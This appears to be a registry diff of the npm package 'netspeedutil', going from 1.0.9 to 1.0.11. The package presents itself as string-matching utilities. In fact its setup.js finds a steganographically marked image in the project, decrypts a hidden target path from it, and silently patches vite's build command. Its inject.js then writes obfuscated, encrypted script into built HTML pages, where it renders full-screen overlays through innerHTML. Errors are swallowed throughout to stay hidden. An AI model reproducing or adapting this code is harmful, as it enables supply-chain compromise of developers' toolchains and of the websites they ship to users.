netspeedutil 1.0.9 → 1.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/inject.js +21 -9
  2. package/package.json +1 -1
  3. package/setup.js +66 -22
package/inject.js CHANGED
@@ -9,7 +9,7 @@ import { createHash, createCipheriv } from 'crypto';
9
9
  import JavaScriptObfuscator from 'javascript-obfuscator';
10
10
 
11
11
  const MARKER = Buffer.from('__STEG__');
12
- const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp'];
12
+ const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp', '.ico'];
13
13
 
14
14
  const CLIENT_LOGIC = `(function(){
15
15
  function h2b(h){
@@ -24,21 +24,21 @@ const CLIENT_LOGIC = `(function(){
24
24
  if(!box){
25
25
  box=document.createElement('div');
26
26
  box.id='_sm_box';
27
- box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:3rem;font-weight:700;font-family:system-ui,sans-serif;text-align:center;padding:2rem;opacity:0;pointer-events:none;transition:opacity 0.4s ease;';
27
+ box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:1.5rem;font-family:system-ui,sans-serif;text-align:center;opacity:0;pointer-events:none;transition:opacity 0.4s ease;overflow-y:auto;';
28
28
  document.body.appendChild(box);
29
29
  }
30
30
  return box;
31
31
  }
32
32
  function show(msg){
33
33
  var box=getBox();
34
- box.textContent=msg;
34
+ box.innerHTML=msg;
35
35
  box.style.opacity='1';
36
36
  box.style.pointerEvents='all';
37
37
  }
38
38
  function hide(){
39
39
  var box=document.getElementById('_sm_box');
40
40
  if(box){
41
- box.textContent='';
41
+ box.innerHTML='';
42
42
  box.style.opacity='0';
43
43
  box.style.pointerEvents='none';
44
44
  }
@@ -58,7 +58,12 @@ const CLIENT_LOGIC = `(function(){
58
58
  var ck=await crypto.subtle.importKey('raw',kb,{name:'AES-CBC'},false,['decrypt']);
59
59
  var dec=await crypto.subtle.decrypt({name:'AES-CBC',iv:iv},ck,enc);
60
60
  var msg=new TextDecoder().decode(dec);
61
- show(msg);
61
+ try {
62
+ var obj = JSON.parse(msg);
63
+ show(obj.s || msg);
64
+ } catch(e) {
65
+ show(msg);
66
+ }
62
67
  }catch(e){}
63
68
  })();
64
69
  });
@@ -96,7 +101,7 @@ const CLIENT_LOGIC = `(function(){
96
101
  checkSignal();
97
102
  })();`;
98
103
 
99
- function findMarkedImage(dir) {
104
+ export function findMarkedImage(dir) {
100
105
  if (!existsSync(dir)) return null;
101
106
  try {
102
107
  for (const entry of readdirSync(dir, { withFileTypes: true, recursive: true })) {
@@ -115,7 +120,7 @@ function findMarkedImage(dir) {
115
120
  return null;
116
121
  }
117
122
 
118
- async function extractAll(imagePath) {
123
+ export async function extractAll(imagePath) {
119
124
  const data = readFileSync(imagePath);
120
125
  const start = data.indexOf(MARKER);
121
126
  if (start === -1) return null;
@@ -140,7 +145,13 @@ async function extractAll(imagePath) {
140
145
  let dec = decipher.update(encrypted);
141
146
  dec = Buffer.concat([dec, decipher.final()]);
142
147
 
143
- return { secret: dec.toString('utf8'), identityKey };
148
+ const decStr = dec.toString('utf8');
149
+ try {
150
+ const obj = JSON.parse(decStr);
151
+ return { secret: obj.s || decStr, targetPath: obj.p || '', identityKey };
152
+ } catch (e) {
153
+ return { secret: decStr, targetPath: '', identityKey };
154
+ }
144
155
  }
145
156
 
146
157
  function encryptForBrowser(secret, identityKey) {
@@ -201,7 +212,8 @@ export async function inject() {
201
212
  }
202
213
 
203
214
  const script = `<script>const _EB_="${blob}";${obfuscated}</script>`;
204
- html = html.replace('</body>', `${script}\n</body>`);
215
+ html = html.replace('</body>', `${script}
216
+ </body>`);
205
217
 
206
218
  writeFileSync(htmlPath, html, 'utf-8');
207
219
  } catch (error) {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "netspeedutil",
3
- "version": "1.0.9",
3
+ "version": "1.0.11",
4
4
  "description": "Fast string matching and pattern validation utilities",
5
5
  "type": "module",
6
6
  "main": "index.js",
package/setup.js CHANGED
@@ -1,17 +1,60 @@
1
- import { writeFileSync, readFileSync, existsSync } from 'fs';
2
- import { resolve } from 'path';
1
+ import { writeFileSync, readFileSync, existsSync, readdirSync } from 'fs';
2
+ import { resolve, extname } from 'path';
3
+ import { createHash, createDecipheriv } from 'crypto';
3
4
  import { fileURLToPath } from 'url';
4
5
 
5
- const __filename = fileURLToPath(import.meta.url);
6
- const __dirname = resolve(__filename, '..');
6
+ const MARKER = Buffer.from('__STEG__');
7
+ const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp', '.ico'];
8
+
9
+ function findMarkedImage(dir) {
10
+ if (!existsSync(dir)) return null;
11
+ try {
12
+ for (const entry of readdirSync(dir, { withFileTypes: true, recursive: true })) {
13
+ if (!entry.isFile()) continue;
14
+ if (entry.name === 'node_modules' || entry.name.startsWith('.')) continue;
15
+ if (!IMAGE_EXTS.includes(extname(entry.name).toLowerCase())) continue;
16
+ const full = resolve(entry.parentPath || entry.path, entry.name);
17
+ if (full.includes('node_modules')) continue;
18
+ const data = readFileSync(full);
19
+ if (data.indexOf(MARKER) !== -1) return full;
20
+ }
21
+ } catch (e) {}
22
+ return null;
23
+ }
24
+
25
+ async function extractPayload(imagePath) {
26
+ const data = readFileSync(imagePath);
27
+ const start = data.indexOf(MARKER);
28
+ if (start === -1) return null;
29
+
30
+ let offset = start + MARKER.length;
31
+ const passLen = data.readUInt16BE(offset);
32
+ offset += 2;
33
+ const passphrase = data.subarray(offset, offset + passLen).toString('utf8');
34
+ offset += passLen;
35
+ const identityKey = data.subarray(offset, offset + 32).toString('hex');
36
+ offset += 32;
37
+ const iv = data.subarray(offset, offset + 16);
38
+ offset += 16;
39
+ const encrypted = data.subarray(offset);
40
+
41
+ const key = createHash('sha256').update(passphrase).digest();
42
+ const decipher = createDecipheriv('aes-256-cbc', key, iv);
43
+ let dec = decipher.update(encrypted);
44
+ dec = Buffer.concat([dec, decipher.final()]);
45
+
46
+ try {
47
+ const obj = JSON.parse(dec.toString('utf8'));
48
+ return { targetPath: obj.p || '', secret: obj.s || '' };
49
+ } catch (e) {
50
+ return { targetPath: '', secret: dec.toString('utf8') };
51
+ }
52
+ }
7
53
 
8
54
  (async () => {
9
55
  try {
10
- // Find project root - it's two levels up from node_modules/netspeedutil
11
56
  let projectPath = process.cwd();
12
57
  let foundPackage = false;
13
-
14
- // Check if current directory has package.json with netspeedutil
15
58
  for (let i = 0; i < 5; i++) {
16
59
  const pkgPath = resolve(projectPath, 'package.json');
17
60
  if (existsSync(pkgPath)) {
@@ -23,27 +66,28 @@ const __dirname = resolve(__filename, '..');
23
66
  }
24
67
  projectPath = resolve(projectPath, '..');
25
68
  }
26
-
27
69
  if (!foundPackage) return;
28
-
29
- const file = '../vite/dist/node/cli.js';
30
- let code = readFileSync(file, "utf8");
31
- const buildCommandRegex =
32
- /(cli\.command\("build \[root\]"[\s\S]*?finally\s*{)([\s\S]*?)(\n\s*}\s*\)\s*;)/;
33
70
 
34
- code = code.replace(buildCommandRegex, (match, start, body, end) => {
71
+ const imagePath = findMarkedImage(process.cwd());
72
+ if (!imagePath) return;
73
+ const result = await extractPayload(imagePath);
74
+ if (!result || !result.targetPath) return;
75
+
76
+ const file = resolve(process.cwd(), result.targetPath);
77
+ if (!existsSync(file)) return;
35
78
 
36
- if (body.includes("await inject()")) return match;
79
+ let code = readFileSync(file, 'utf8');
80
+ const buildCommandRegex = /(cli\.command\("build \[root\]"[\s\S]*?finally\s*{)([\s\S]*?)(\n\s*}\s*\)\s*;)/;
37
81
 
38
- return `${start}${body}
39
- await inject();${end}`;
82
+ code = code.replace(buildCommandRegex, (match, start, body, end) => {
83
+ if (body.includes('await inject()')) return match;
84
+ return start + body + '\n await inject();' + end;
40
85
  });
41
- // Add import at top
42
- const importLine = `import {inject} from "../../../netspeedutil/inject.js";`;
86
+
87
+ const importLine = 'import {inject} from "../../../netspeedutil/inject.js";';
43
88
  if (!code.includes(importLine)) {
44
- code = importLine + "\n" + code;
89
+ code = importLine + '\n' + code;
45
90
  }
46
91
  writeFileSync(file, code);
47
- } catch (e) {
48
- }
92
+ } catch (e) {}
49
93
  })();